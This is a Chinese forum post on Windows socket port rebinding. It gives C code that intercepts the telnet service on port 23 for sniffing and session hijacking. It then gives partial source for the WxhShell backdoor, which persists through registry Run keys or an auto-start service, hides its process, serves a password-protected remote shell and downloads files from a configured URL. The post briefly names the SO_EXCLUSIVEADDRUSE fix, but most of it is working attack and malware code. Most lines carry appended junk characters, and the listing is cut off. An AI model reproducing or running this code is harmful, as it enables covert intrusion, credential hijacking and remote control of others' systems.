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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,_.@l+BM.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $kxu;I  
JdaFY+f :  
  saddr.sin_family = AF_INET; Yw~;g: =  
6?%]odI#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]PR|d\O  
o5N]((9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tr}KPdE  
K[Y c<Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z3^RUoGU  
7XUhJN3n  
  这意味着什么?意味着可以进行如下的攻击: eZ!yPdgy|  
f![xn2T  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y!7B,  
ZhGh {D[,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Nl~Z,hT$*  
U/.w;DI   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Rz.i/w g}  
" t5 +*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "2ZIoa!^  
qxf+#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q<RT12|`  
5"1!p3`\D{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /yx=7<  
'fS?xDs-v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'is,^q:@  
J*}VV9H  
  #include i'Y-V]->  
  #include <8iYL`3  
  #include T1lXYhAWS  
  #include    ISpeV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e ZynF<i  
  int main() !?BW_vY  
  {  AGh~8[  
  WORD wVersionRequested; f|X[gL,B  
  DWORD ret; P7}t lHX  
  WSADATA wsaData; bHO7* E  
  BOOL val; :0nK`$'  
  SOCKADDR_IN saddr; pt=7~+r  
  SOCKADDR_IN scaddr; AiY|O S3R  
  int err; ~J%R-{U9  
  SOCKET s; L&:M8xiA~$  
  SOCKET sc; uAp -$?  
  int caddsize; q|n97.vD  
  HANDLE mt; ~@%(RMJm&  
  DWORD tid;   &@=u+)^-{  
  wVersionRequested = MAKEWORD( 2, 2 ); `ajx hp  
  err = WSAStartup( wVersionRequested, &wsaData ); h^['rmd  
  if ( err != 0 ) { 9Tqn zD  
  printf("error!WSAStartup failed!\n"); (d54C(")  
  return -1; HMF8;,<_w?  
  } ,`D/sNP ,q  
  saddr.sin_family = AF_INET; ov1Wr#s  
   >-VWm A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~;}\zKQKE  
UV?[d:\>'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kVWGDI$~  
  saddr.sin_port = htons(23); $=\d1%_R|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) grGhN q  
  { )qbI{^_g  
  printf("error!socket failed!\n"); ~af8p {  
  return -1; 1lbwJVY[  
  } k& OC&  
  val = TRUE; IZ+ *`E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 w-J"zC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (gLea  
  { W5pn;u- sz  
  printf("error!setsockopt failed!\n"); *:?QB8YJ  
  return -1; *f{7  
  } y^9bfMA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I9;xzES  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 S<V-ZV&_:U  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <BZ_ (H  
1d`cTaQ-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) JK[T]|G  
  { pV8[l)J  
  ret=GetLastError(); T]^?l  
  printf("error!bind failed!\n"); N"S3N)wgd  
  return -1; J(4g4?  
  } T&]Na  
  listen(s,2); TS1pR"6l  
  while(1) >Q&CgGpW$  
  { Dq|GQdZ>o  
  caddsize = sizeof(scaddr); ya#RII']  
  //接受连接请求 I[@ts!YD  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?vvG)nW  
  if(sc!=INVALID_SOCKET) %yeu"  
  { { AFf:[G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ocybc%  
  if(mt==NULL) V>6QPA^  
  { B<Ol+)@,}  
  printf("Thread Creat Failed!\n"); dQ,Q+ON>  
  break; CdZnD#F2  
  } i)=m7i  
  } X|,["Az 8  
  CloseHandle(mt); 5Wo5 n7o  
  } z23#G>I&  
  closesocket(s); 46ILs1T6  
  WSACleanup(); l/[pEUYU  
  return 0; V5~fMsse  
  }   )u<eO FI+  
  DWORD WINAPI ClientThread(LPVOID lpParam) C B6A}m  
  { vlvvi()  
  SOCKET ss = (SOCKET)lpParam; { yTpRQN~  
  SOCKET sc; ]{<saAmJC  
  unsigned char buf[4096]; 2.ew^D#  
  SOCKADDR_IN saddr; ^1R"7h  
  long num; 3+ e4e  
  DWORD val; 5PDSA*  
  DWORD ret; sp^Wo7&g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -ovoRI^6`}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ea 2 `q  
  saddr.sin_family = AF_INET; p:Oz<P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -'j7SOGk  
  saddr.sin_port = htons(23); eap8*ONl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N0nj`  
  { "$r 1$mBi  
  printf("error!socket failed!\n"); w\Iqzpikr  
  return -1; vf[&7n  
  }  ![ a  
  val = 100; dIvy!d2l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RJ@\W=aZ  
  { JwB"\&'1ZS  
  ret = GetLastError(); cu)U7  
  return -1; -A}zJBcR  
  } Vu%n&uF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y KY2Cw  
  { rmsQt  
  ret = GetLastError(); 0 k9<&  
  return -1; q~j)W$k  
  } L1:nfH&:'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z{=v)F5y  
  { /22nLc;/Cx  
  printf("error!socket connect failed!\n"); bi.wYp(*6L  
  closesocket(sc); Xo\S9,s{  
  closesocket(ss); $2QYxY9s  
  return -1; cW; H!:&  
  } 9)Ly}Kzx  
  while(1) R#ya,L  
  { YtpRy% R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2[ksi51y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 NZ+7p{&AN  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sDX/zF6t  
  num = recv(ss,buf,4096,0); =HS4I.@c_5  
  if(num>0) [ZD[a6(94  
  send(sc,buf,num,0); Y[@0qc3UO  
  else if(num==0) jQ|:I7y  
  break; e?P%wqB  
  num = recv(sc,buf,4096,0); }3J=DCtS  
  if(num>0) eIJ[0c b}  
  send(ss,buf,num,0); |kc@L`7s  
  else if(num==0) Y.NE^Vn0  
  break; 6A?8tm/0  
  } $it@>L8  
  closesocket(ss); 0p `")/  
  closesocket(sc); ke\[wa_!6b  
  return 0 ; W+\?~L.  
  } `c9'0*-  
M$H`^Pv  
cJ2PI  
========================================================== n[P\*S  
0<Q*7aY  
下边附上一个代码,,WXhSHELL z&F5mp@  
+?Ez} BP  
========================================================== m8+:=0|$  
8SZK:VE@  
#include "stdafx.h" `;cz;"  
:3O5ET'1  
#include <stdio.h> KUFz:&wK  
#include <string.h> G|*G9nQ  
#include <windows.h> 7&foEJ3q  
#include <winsock2.h> bcn7,ht  
#include <winsvc.h> #q;z8 @  
#include <urlmon.h> N 2Ssf$  
>Nh`rkR2[  
#pragma comment (lib, "Ws2_32.lib") Mg\TH./Y:  
#pragma comment (lib, "urlmon.lib") #w|5 jN?  
iD714+N(  
#define MAX_USER   100 // 最大客户端连接数 Cfv]VQQE  
#define BUF_SOCK   200 // sock buffer M)O [j}N  
#define KEY_BUFF   255 // 输入 buffer zN")elBi  
? |VysJ  
#define REBOOT     0   // 重启 e2wvc/gG6  
#define SHUTDOWN   1   // 关机 `*k@4.J{  
*)D1!R<\,R  
#define DEF_PORT   5000 // 监听端口 S3y246|4  
" #v%36U  
#define REG_LEN     16   // 注册表键长度 PIxjM>  
#define SVC_LEN     80   // NT服务名长度 !i Jipe5  
d.AC%&W  
// 从dll定义API 7&|6KN}c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gr+Pl>C{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y/tSGkMv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h.}u?{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Mk5RHDh  
$3\,h; y  
// wxhshell配置信息 +`}o,z/^  
struct WSCFG { ^Xs]C|=W  
  int ws_port;         // 监听端口 W;TJenv  
  char ws_passstr[REG_LEN]; // 口令 H1&RI4XC  
  int ws_autoins;       // 安装标记, 1=yes 0=no [.-a$J[4+F  
  char ws_regname[REG_LEN]; // 注册表键名 X=,6d9,  
  char ws_svcname[REG_LEN]; // 服务名 .iT4-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &S-er{]]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;4kT?3$l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CXAVGO'xw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |}Ph"g2D,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !_x*m@/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n&d/?aJ7a\  
s)w9%  
}; X<euD9?  
x{hn2]6+eB  
// default Wxhshell configuration l1r_b68  
struct WSCFG wscfg={DEF_PORT, 9/3;{`+[a  
    "xuhuanlingzhe", d.r Y-k  
    1, {7X~!e|w  
    "Wxhshell", a+ GJVJ  
    "Wxhshell", IU9, (E  
            "WxhShell Service", "+h/-2rA  
    "Wrsky Windows CmdShell Service", E9$H nj+m  
    "Please Input Your Password: ", B*79qq  
  1,  zy>}L #  
  "http://www.wrsky.com/wxhshell.exe", .8H}Lf\  
  "Wxhshell.exe" (0C&z/  
    }; AC4 l<:Yh  
x~+-VF3/  
// 消息定义模块 mi^hvks<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S^j,f'2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8x{Hg9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CDCC1BG"  
char *msg_ws_ext="\n\rExit."; G Y-M.|%  
char *msg_ws_end="\n\rQuit."; RxG^  
char *msg_ws_boot="\n\rReboot..."; ;_tO+xL&  
char *msg_ws_poff="\n\rShutdown..."; ,8##OB(  
char *msg_ws_down="\n\rSave to "; DsQ/aG9c%  
hW' HT  
char *msg_ws_err="\n\rErr!"; %\I.DEYH  
char *msg_ws_ok="\n\rOK!"; mx}E$b$<CY  
6Xa.0(h  
char ExeFile[MAX_PATH]; ^73=7PZ  
int nUser = 0; ~:Mm<*lL%  
HANDLE handles[MAX_USER]; }N,>A-P  
int OsIsNt; e{!vNJ0`  
VMHC/jlX@r  
SERVICE_STATUS       serviceStatus;  Zi4d]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =DMbz`t  
28oJFi]  
// 函数声明 UvBnf+,  
int Install(void); ug&92Hdvy3  
int Uninstall(void); ny1 \4C  
int DownloadFile(char *sURL, SOCKET wsh); 8R4qU!M  
int Boot(int flag); Sk=N [hwU  
void HideProc(void); it,w^VU_]  
int GetOsVer(void); jdlG#j-\  
int Wxhshell(SOCKET wsl); mHs:t{q  
void TalkWithClient(void *cs); &yLc1#H  
int CmdShell(SOCKET sock); O?E6xc<8  
int StartFromService(void); TSQh X~RN  
int StartWxhshell(LPSTR lpCmdLine); Z*eoA  
6K 4+0xXv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YoAg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W4vBf^eC  
RIjM(P  
// 数据结构和表定义 m[8 @Unt  
SERVICE_TABLE_ENTRY DispatchTable[] = /aOlYqM(>  
{ C +@ i  
{wscfg.ws_svcname, NTServiceMain}, !01i%W'  
{NULL, NULL} h8.FX-0& =  
}; eP= j.$  
_}ele+  
// 自我安装 {D,RU8&  
int Install(void) v<&v]!nF  
{ X9~p4ys9{  
  char svExeFile[MAX_PATH]; {^m5#f 0"  
  HKEY key; IG|\:Xz  
  strcpy(svExeFile,ExeFile); )U5u" ]9~  
v{koKQ'Y()  
// 如果是win9x系统,修改注册表设为自启动 MaErx\  
if(!OsIsNt) { TzrW   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,q</@}.\wN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n7DLJ`ho{  
  RegCloseKey(key); 2AK}D%jfc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6x4_b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kqf8=y  
  RegCloseKey(key); $1e pf  
  return 0; 6~@5X}^<0  
    } usH%dzKK  
  } O`(U/?   
} o#}mkE87  
else { \ V?I+Gc  
+-ewE-:|L  
// 如果是NT以上系统,安装为系统服务 z!Hx @){|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0b++ 17aV  
if (schSCManager!=0) 5hz_P+Q  
{ P` ]ps?l  
  SC_HANDLE schService = CreateService 8\_*1h40s  
  ( qTy v.#{y  
  schSCManager, hr~.Lj5^W  
  wscfg.ws_svcname, +WL  D  
  wscfg.ws_svcdisp, 2sun=3qb  
  SERVICE_ALL_ACCESS, NCDxcz;Gb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D|TR!  
  SERVICE_AUTO_START, b1)\Zi  
  SERVICE_ERROR_NORMAL, veO?k.u(  
  svExeFile, 7d9Z/J@>  
  NULL, (hsZ  
  NULL, 0WXVc  
  NULL, **HrWM%?8o  
  NULL, E9R]sXf8  
  NULL L*^ V5^-  
  ); .vaJ Avg  
  if (schService!=0) 8&?p  
  { BS.=  
  CloseServiceHandle(schService); bd{\{[^S!  
  CloseServiceHandle(schSCManager); K?YEoz'y[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9b%j.Q-W  
  strcat(svExeFile,wscfg.ws_svcname); PUKVn+h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]bu9-X&T&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BA*&N>a  
  RegCloseKey(key); z Lw(@&  
  return 0; 8!4[#y<  
    } u\3ZIb  
  } pN+I]NgQ  
  CloseServiceHandle(schSCManager); >~wu3q  
} -( Kh.h  
} KBj@V6Q  
~'{VaYk]v  
return 1; SwJHgZ&  
} r\RFDj  
hXTYTbTX  
// 自我卸载 Om6Mmoqh  
int Uninstall(void) niAZ$w  
{ 5p{25N_t  
  HKEY key; #G~wE*VR$  
RNe9h lr  
if(!OsIsNt) { vX 1W@s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ys%'#f  
  RegDeleteValue(key,wscfg.ws_regname); B!iFmkCy  
  RegCloseKey(key); FE}s#n_Pd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kyu2)L2u  
  RegDeleteValue(key,wscfg.ws_regname); !mae^A1  
  RegCloseKey(key); ]_\AHnJ  
  return 0; q|Fjm]AF  
  } L6x B`E9  
} AoU_;B\b%  
} q#m!/wod  
else { J@gm@ jLc  
"u5KbJW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PY\W  
if (schSCManager!=0) jJ<;2e~OW  
{ (gD Q\t@3-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;t~*F#p(!  
  if (schService!=0) lJlhl7  
  { $':JI#  
  if(DeleteService(schService)!=0) { sX!3_ '-  
  CloseServiceHandle(schService); G ~A$jStm  
  CloseServiceHandle(schSCManager); }pK v.  
  return 0; Q!`)e@r  
  } XJ O[[G`  
  CloseServiceHandle(schService); nfa_8  
  } 8XlU%a6x  
  CloseServiceHandle(schSCManager); zF?31\GOX  
} gY%OhYtF2  
} qL,ka  
?0uOR *y'  
return 1; (H P z  
} )# p.`J  
.Nk}Z9L]k  
// 从指定url下载文件 3jXR"@Z-  
int DownloadFile(char *sURL, SOCKET wsh) J ZA*{n2  
{ R qn WtE  
  HRESULT hr; @]E]W#xAn  
char seps[]= "/"; W w^7^q&  
char *token; aU4R+.M7@  
char *file; brj[c>ID  
char myURL[MAX_PATH]; aj?2jU~Pq  
char myFILE[MAX_PATH]; *|^,DGfQ6  
;}UzJe ,S  
strcpy(myURL,sURL); L,WkJe3  
  token=strtok(myURL,seps); )O9fhj)  
  while(token!=NULL) WqR7uiCi  
  { el}hcAY/RP  
    file=token; X:U=MWc>  
  token=strtok(NULL,seps); tg3zXJ4k_  
  } [z^Od  
!ZX&r{pJp  
GetCurrentDirectory(MAX_PATH,myFILE); #s*k| j}  
strcat(myFILE, "\\"); 2G ZF/9}  
strcat(myFILE, file); K[e`t%2_  
  send(wsh,myFILE,strlen(myFILE),0); xUIvLH=  
send(wsh,"...",3,0); gt~9"I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e~3]/BL  
  if(hr==S_OK) @`5QG2  
return 0; KM5jl9Vv  
else y2GQN:X  
return 1; (X*'y*:  
?vMK'"  
} /q T E  
b-2pzcK{#  
// 系统电源模块 hr%U>U9F  
int Boot(int flag) )sRN!~  
{ (v]P<3%  
  HANDLE hToken; U&`6&$]  
  TOKEN_PRIVILEGES tkp; 5[nmP95YK  
Wux0RF&  
  if(OsIsNt) { J9NsHr:A[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .#"1bRWpZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0T(O'v}.  
    tkp.PrivilegeCount = 1; E1#H{)G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K4_~ruhr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N`f!D>b:dn  
if(flag==REBOOT) { 5QKRI)XpZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mlD%d!.  
  return 0; GI}4,!^N  
} SwyaYK  
else { K *TnUQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L^6"' #  
  return 0; "pOqd8>]  
} u$apH{  
  } %B[YtWqm`/  
  else { :wFb5"  
if(flag==REBOOT) { fdN45in=>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "&@gX_%  
  return 0; cLn;,u4  
} )uANmThOz  
else { _MGNKA6JI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;9}w|!/  
  return 0;  o1 jk=  
} ,<7"K&  
} <_=JMA5  
|!{ z? i  
return 1; KrJ5"1=  
} #c6ui0E%;t  
lq~Gc M  
// win9x进程隐藏模块 B.V?s,U  
void HideProc(void) t-'I`I  
{ iz Xbp02  
${wU+E*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y,3z-Pa=@  
  if ( hKernel != NULL ) u9esdOv  
  { W^^K0yn`@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {k kAqJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lt }r}HM+  
    FreeLibrary(hKernel); -b@v0%Q2M*  
  } J>><o:~@  
k}- "0>  
return; %=laY_y G  
} lq;  
/7c2OI=\  
// 获取操作系统版本 <sm#D"GpP  
int GetOsVer(void) $5ZR [\$  
{ eL<m.06cfY  
  OSVERSIONINFO winfo;  fn4=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5T~3$kuO  
  GetVersionEx(&winfo); s;vWR^Ll  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 98X!uh'  
  return 1; ?lu_}t]  
  else ,lrYl!,  
  return 0; kEp.0wL'  
} X(4s;i  
<]Ij(+J;  
// 客户端句柄模块 FgXu1-  
int Wxhshell(SOCKET wsl) co \[{}}  
{ "2*G$\  
  SOCKET wsh; qXXYF>Z-  
  struct sockaddr_in client; CkmlqqUHC  
  DWORD myID; xR\D(FLV S  
Hlz'a1\:O]  
  while(nUser<MAX_USER) pw0Px  
{ |Dl*w/n  
  int nSize=sizeof(client); }@3Ud ' Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C4&U:y<ju  
  if(wsh==INVALID_SOCKET) return 1; b7?U8/#'  
MDMtOfe|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }v_p gatC  
if(handles[nUser]==0) szf"|k!  
  closesocket(wsh); Zkf 3t>[  
else 9zXu6<|qrL  
  nUser++; ^</65+OT+  
  } r~ZS1Tp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5F'%i;)oq  
r^?)F?n!  
  return 0; aR`_h=a  
} EJ WOXxU  
 f$:7A0  
// 关闭 socket _<Hb(z  
void CloseIt(SOCKET wsh) Xjs21-t%  
{ + AE&GU  
closesocket(wsh); #Tr;JAzVjG  
nUser--; ygmv_YLjm  
ExitThread(0); k! J4Z ${k  
} eXj\DjttG}  
_fczE~O/  
// 客户端请求句柄 BP)q6?Mz  
void TalkWithClient(void *cs) k98< s  
{ kvMk:.  
Qv9*p('~A  
  SOCKET wsh=(SOCKET)cs; hgTM5*fD}  
  char pwd[SVC_LEN]; -@EBbM&  
  char cmd[KEY_BUFF]; zvek2\*rO  
char chr[1]; Q'n(^tbL  
int i,j; 4+ASw N9  
oUW )H  
  while (nUser < MAX_USER) { nz,Mqol  
>i^y;5  
if(wscfg.ws_passstr) { &"U9X"8b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zWCW:dI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b*I&k":  
  //ZeroMemory(pwd,KEY_BUFF); YQN]x}:E+4  
      i=0;  l 'AK  
  while(i<SVC_LEN) { ( z8]FT  
@-)<|orU4  
  // 设置超时 \iFMU#  
  fd_set FdRead; ?aK'OIo  
  struct timeval TimeOut; 9@KUqoX  
  FD_ZERO(&FdRead); #rn4 $  
  FD_SET(wsh,&FdRead); {:};(oz)f  
  TimeOut.tv_sec=8; k| _$R?  
  TimeOut.tv_usec=0; '1>g=Ic0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =oL8d 6nI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YtwmlIar`  
\Dvl%:8   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ A~B ,  
  pwd=chr[0]; W~XV  
  if(chr[0]==0xd || chr[0]==0xa) { 4kW 30Ma  
  pwd=0; wx]+*Lzz  
  break; 8ktjDs$=.:  
  } A }>|tm7|  
  i++; nUI63?  
    } t*Z .e.q+  
kPx]u\  
  // 如果是非法用户,关闭 socket @+0@BO1 2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fZka%[B  
} Wo:zU  
u+2 xrzf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Yv#J`b@y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |'V<>v.v  
IqvqvHxLX  
while(1) { LVR;&Z>j  
l>3M|js@/  
  ZeroMemory(cmd,KEY_BUFF); E %wV  
n9<roH  
      // 自动支持客户端 telnet标准   dXA{+<!!  
  j=0; Q%,o8E2~  
  while(j<KEY_BUFF) { _ 6+,R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "?2  
  cmd[j]=chr[0]; aH5t.x79b  
  if(chr[0]==0xa || chr[0]==0xd) { I3}HNGvU  
  cmd[j]=0; *6 z'+'  
  break; zh#OD{  
  } ue6/EN;}  
  j++; ,$MWk(S  
    } nvO%  
EuKrYY]g  
  // 下载文件 &.cGj @1!J  
  if(strstr(cmd,"http://")) { )#b}qc#`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mJ6t.%'d  
  if(DownloadFile(cmd,wsh)) PTuCN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N3XVT{ yo  
  else S7?f5ux   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O+(. 29  
  } fd!pM4"0  
  else { ~.PPf/ Z8]  
!L0E03')k  
    switch(cmd[0]) { ( )JYN5  
  !^Z[z[  
  // 帮助 3X-{2R/ 3  
  case '?': { %KabyvOl)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g[=\KrTSg  
    break; .-C+0L1j  
  } E>l#0Zw  
  // 安装 2R_opbw  
  case 'i': { C,OB3y  
    if(Install()) G<">/_jn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C;58z 5*,  
    else <eud#v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y5h)l<P>B  
    break; 1}n)J6m  
    } %T&&x2p^=?  
  // 卸载 uJ|5 Ve  
  case 'r': { IEIxjek  
    if(Uninstall()) P\*2c*,W;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W G3mQ\k  
    else xoz*UA.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8^P2GG'+-  
    break; 323yAF  
    } WQIM2_=M  
  // 显示 wxhshell 所在路径 J]=aI>Ow  
  case 'p': { 3%vx' 1h[  
    char svExeFile[MAX_PATH]; ?vht~5'  
    strcpy(svExeFile,"\n\r"); T(sG.%  
      strcat(svExeFile,ExeFile); Zi<Sw  
        send(wsh,svExeFile,strlen(svExeFile),0); QN2*]+/h  
    break; LhVLsa(-%  
    } DiGUxnP  
  // 重启 dFI.`pB  
  case 'b': { m &3HFf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .swgXiRvs  
    if(Boot(REBOOT)) J#Ne:Aj_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PoBu kOv  
    else { NR;S3-Iq(  
    closesocket(wsh); ) <}VP&:X  
    ExitThread(0); (zM+7tJH  
    } .^9/ 0.g8t  
    break; XDrlJvrPL  
    } )'K!)?&d  
  // 关机 d 40'3]/{  
  case 'd': { vZ_DG}n11  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HAI1%F236  
    if(Boot(SHUTDOWN)) Q8gdI  
